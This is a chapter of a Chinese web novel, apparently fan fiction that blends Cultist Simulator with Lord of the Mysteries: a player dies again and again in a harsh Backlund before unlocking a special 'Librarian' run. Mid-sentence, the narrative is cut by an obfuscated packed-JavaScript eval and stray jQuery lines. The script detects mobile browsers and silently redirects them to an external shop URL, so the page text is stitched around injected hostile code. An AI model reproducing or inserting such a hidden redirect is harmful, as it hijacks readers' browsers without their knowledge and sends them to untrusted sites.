作为骨灰级游戏爱好者，玩家在蒸汽平台上最喜欢的游戏活动就是——买游戏。所以当《密教模拟器》同系列作品《密教模拟器：灰雾》发来邮件，声称此游戏夏促期间特惠售卖时，玩家毫不犹豫购入了。
拜托，这可是夏促啊，人的一生能有几个蒸汽夏促！遇见一次少一次，简直就和人的生日一样珍贵欸！
《密教模拟器：灰雾》是这样介绍它自己的：“《密教模拟器：灰雾》是一款有关命运与抗争的游戏，玩家将来到一个文明与混乱相杂的时代，在这里揭示历史、见证历史、记录历史，甚至亲身改变历史——更高自由度！更多身份体验！走过路过，不容错过！”
早已达成《密教模拟器》全成就的玩家摩拳擦掌，迫不及待登入。
哈哈，神秘世界，你们的W·M·氏来啦！
开局还是熟悉的[有志青年]身份，玩家新奇地查看陌生又熟悉的游戏面板。
简介没说错，这款游戏自由度确实高了不少，墨绿桌面上的卡牌除了熟悉的健康、激情、理性各一张，还多了人物卡。
玩家点击，发现这张人物卡代表他自己。
文本框看上去是一张用回形针夹着照片的便签，最左处是头像照片，应该是系统随机生成的人物形象，一个黑发黑眼的俊秀青年面容温和，随着玩家的鼠标点击眨了眨眼——亲切的面容，玩家觉得此头像很像自己。
都一样帅，嘿嘿。
头像后面是文字描述：“有志青年[点击此处命名]：我满腹才华、生来不凡，我如今贫穷，将来富有，如今卑贱，将来高贵。”
点击总介绍下面的[性相]，还有更多词条描述:
[性相：我本身]：这世间我最熟悉、最亲密的存在，我即是我。
[性相：凡人（？）]：我生命短暂，尚无作为，目前如此。
玩家没有急着给自己命名，他现在更想探索一下这个熟悉又新奇的游戏。除了代表玩家角色的人物卡牌，还有两张陌生卡牌。
一张是[创业]：“贝克兰德如今满地机遇，我尚有一些资本，我会成功的。”
另一张是[为他人工作]：“我年轻力壮，在贝克兰德不愁找不到一份维持生计的工作，只要稍微降低标准……”
傻子都知道怎么选好么。玩家吐槽着，选择了[创业]，随着他将[创业]投入【作业】栏中开始创业，另一张[为他人工作]卡牌像被风吹散一般，“嗤”的一声从桌面上消失。
【作业-创业：建立一家小型粮食公司】
创业赚得很多，每次投入【作业】都能稳定给玩家带来十金币的收入，玩家美滋滋地享受，偶尔分心决定一下大方向或者招聘人才。很快创业规模扩大了。
【作业-创业：拥有一家大型粮食公司】，收入资金高达二十金币。
资金充裕的玩家很快放下这一茬，开始买书。在《密教模拟器》中，玩家必须通过看书解锁各种神秘学知识，从而进一步进行招揽信众、仪式、飞升等神秘学操作。
只是……
“《傲慢与偏见与吸血鬼》、《绿与白》、《简·爱的奇妙冒险》……这都什么玩意儿？”玩家吐槽他从书店里淘来的几本书。好不容易有一本名字比较正经的《暴风山庄》，翻开一看竟是本爱情转灵异转悬疑转爱情的旷世奇作，更绝的是这些小说均出自同一个畅销书作家之手。
“神了。”玩家做出评价。
正当玩家口嫌体正直地看小说时，游戏背景音乐变得紧张沉郁，这代表有将导致游戏BE的事件出现了。
玩家疑惑看去，却发现是他早就不怎么管的【作业】。
【作业-创业：国家废除了《谷物法案》，粮食价格骤降，我完蛋了】
短短一句话给了玩家深深的震撼。
啥玩意？
虽然《密教模拟器》中确实也会给玩家设置一些工作上的坎，比如当社畜上班遇到难搞上司，当舞女跳舞结果金主有一定概率失去兴趣，画画会产生“曝光过度”提示民众对玩家的画不再追捧……但哪有工作不顺就直接bad end的？！咱们是来搞神秘学的又不是来上班的！上司不给力刀上司，下属不给力刀下属不就好了，振作一点啊喂！
玩家打开【作业】界面，文字提示两个补救方法：【作业-创业：国家废除了《谷物法案》，粮食价格骤降，我完蛋了。除非我投入一大笔钱转型，或者疏通人脉，不然一切结束只是时间问题（投入“资金”或“当局欠下的人情”，否则一切都完了】
“才开局没多久我上哪儿给你找人情去。”玩家吐槽着，把资金拖过来，结果系统竟然提示不够，至少要五百金币。
玩家叹了口气，眼看着读条结束，一周目BAD END：【穷困潦倒：我的金钱流逝了，连同我的抱负与野心，我没做错什么，我只是身在浪潮之中】
不信邪的玩家忽略眼前重新出现的身份选项，重开这一局，这一次他选择给别人打工。
……
两个小时后。
玩家双手离开键盘，沉思状看着电脑屏幕。
二周目他选择了[为他人工作]，文员，薪水一般但胜在稳定。
但这一次问题就不出在工作上了。
由于薪水较低，玩家二周目住在一个普通的居民区，一个夜黑风高的晚上，被迫无偿加班的玩家下班回家路过某条巷子，被不知名黑影袭击，快速打出了gg.
猜测是被其他神秘学存在袭击了，玩家再开一周目，绕开小巷，这次玩家遇见了一个小姑娘在路边哭，触发事件的玩家充分发挥玩家群体乐于助NPC的高尚品质，上前慰问，这小姑娘年轻人不讲武德，一个黑虎掏心给玩家带走。
玩家不信邪，以打工人身份尝试了一次又一次，解锁了各种BAD END，包括但不限于：被下水道里的野兽偷袭（这里又不是生O危机哪里来的下水道雷霆巨兽啊喂！）、遭遇裁员然后被饿死（可恶的资本家）、撞破美貌夫人的约会然后被灭口（我都不知道魔女是什么东西你杀我干什么）、走在路上被搞神秘学的失控疯子攮死（何意味）……
玩家彻底怒了。
按道理来说这些事件都是概率发生的，怎么每周目我都变着法儿地倒霉，这里是贝克兰德又不是哥谭，都是些什么神人住在这儿啊！
被游戏恶意深深针对的玩家再次重开，这一次两张工作卡牌他都没有选择，而是选择用[健康]卡牌投入【作业】，搬砖！
【作业-做粗重活计：靠累断腰的苦工换来一点微薄的薪水，我只有这点能耐了吗？】①
“搬砖乃我密教教主的祖宗之法。”无视系统若有似无的嘲讽，玩家邪魅一笑：呵，这次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786386|210178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我两个都不选，看你怎么套路我。
结果，由于不停歇地搬砖，[健康]卡牌全灰，[多病的季节]来临了，没有[健康]，也没有资金治病的玩家被一场大雾霾带走，成功解锁[我身已死]结局。
玩家沉默了。
“小商人没有经商保障，打工人遭资本家剥削严重，底层劳工失去健康，夜间安全岌岌可危，小神遍地走、大神多如狗，结果连环境保护都做得这么烂，你们贝克兰德到底是什么地方啊……”
玩家肃然起敬。
他正准备继续不信邪地开启“下一次降临”，新的身份选择代替[有志青年]出现了。
[司书]：我曾挣扎不已，如今却安逸，时间在我身体留下伤疤，恰如磨难对我精神所做的事。我不曾苦修，我只是经历，每一转脱轨，每一转滚滚向前，如此而已。我不再为世俗之事烦恼，在其之外还有更重要的事。（经历十三次[有志青年]开局并达成身死结局的一轮必选）
“这是……开出大保底了？”玩家喃喃，“屡败屡战原来真的能感动游戏？”只要游戏有好活，你就算给玩家们一个雷霆巨兽然后逼玩家们给巨兽修脚才能走剧情，玩家们也会夸你设计得好。
玩家点击。
开局，新的文字介绍出现了。
[十三个短暂的梦]：我总在梦中体验人生，现在，梦醒了。
随着开局介绍消失，桌面上出现了变化。
[健康]、[理性]和[激情]消失不见，行动框只剩【作业】，还有富裕到吓人的一千[资金]。人物卡依旧在桌面上。点击人物卡，还是熟悉的黑发黑眼青年，但文字介绍却改变了。
【司书[点击此处命名]】：游历漫长，有时我在时间的河畔小憩，等我醒来时，河水打湿我的书页，我将纸张摊开，曾来过的已离去，历史却留下水迹。
[性相:我本身]：这世间我最熟悉、最亲密的存在，我即是我。
[性相：凡人（？）]：我生命漫长，无所事事。
[性相：神性]：使一位存在可被称为“祂”的凭证……神性过高对我没有好处。
[性相：人性]：我的锚点、我的伤痕、我的年轮，那些梦所给予我的。
[性相：秘史]：历史是时间在世界身上留下的伤疤②。我记录不为人知的过往。
玩家有了新的工作：贝克兰德一家小书店的店长。
工作真的稳定又清闲，在他给书店命名为“莫兰书店”并开张后，时间就这样悄然流逝。
时刻提防游戏又忽然上强度的玩家每天认真作业。桌面上除了他本人的人物卡、[资金]、【作业】和[莫兰书店]外没有任何东西，书店没什么人，赚不到什么钱，但也没有花钱的地方。更何况开局自带巨款，玩家这一局竟然没有生存压力了。
玩家居安思危，认真思索：虽然这局应该是我重开十三次的奖励局，但总得有通关条件吧？到底哪里被我忽略了？这张身份卡明明一看就不简单啊。
玩家不死心，坐在屏幕前边各种尝试边等时光流逝，直到事件出现——
随着【入梦】行动解锁刷出，一张新卡牌出现了。
[前往灰雾之上：一个尝试……值得记录的事情发生了，某处正在呼唤我。]
玩家将卡牌投入【入梦】，下一瞬，深红爆发。